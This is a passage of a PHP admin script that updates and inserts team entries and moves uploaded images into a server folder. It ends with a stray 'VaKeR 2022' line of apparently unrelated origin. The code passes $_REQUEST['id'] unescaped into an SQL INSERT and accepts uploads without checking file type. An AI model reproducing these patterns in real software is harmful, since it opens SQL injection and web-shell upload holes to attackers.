        $title_editatb1 = mysqli_real_escape_string($conn, $_POST['teamtitle1'][$key]);
        $updateTitleQuery = "UPDATE `services_team_atb_tbl` SET `teamtitle1` = '$title_editatb1' WHERE id = '$id_editatb'";
        mysqli_query($conn, $updateTitleQuery);

        $content_editatb1 = mysqli_real_escape_string($conn, $_POST['teamcontent'][$key]);
        $updateTitleQuery = "UPDATE `services_team_atb_tbl` SET `teamcontent` = '$content_editatb1' WHERE id = '$id_editatb'";
        mysqli_query($conn, $updateTitleQuery);
    }
}

// Handle add to services_team_atb_tbl
if (isset($_FILES['teamimage1']['name']) && is_array($_FILES['teamimage1']['name'])) {
  foreach ($_FILES['teamimage1']['name'] as $key => $val) {
    $title_atb = mysqli_real_escape_string($conn, $_POST['teamtitle1'][$key]);
    $content_atb = mysqli_real_escape_string($conn, $_POST['teamcontent'][$key]);
    $image1 = rand(111111111, 999999999) . '_' . basename($_FILES['teamimage1']['name'][$key]);
    $file_path = "../../images/Upload/Services/" . $image1;
    // Move the uploaded file and insert into the database
    if (move_uploaded_file($_FILES['teamimage1']['tmp_name'][$key], $file_path)) {
        $insertQuery = "INSERT INTO `services_team_atb_tbl` (`project_id`,`teamimage1`,`teamtitle1`,`teamcontent`) VALUES ('" . $_REQUEST['id'] . "','$image1','$title_atb','$content_atb' )";
        if (!mysqli_query($conn, $insertQuery)) {
            die("Error inserting new image: " . mysqli_error($conn));
        }
      }
  }
}



   echo "<script>window.location='show.php?page=serv';</script>";
$_SESSION['message']="Service Updated successfully";
}
?>

VaKeR 2022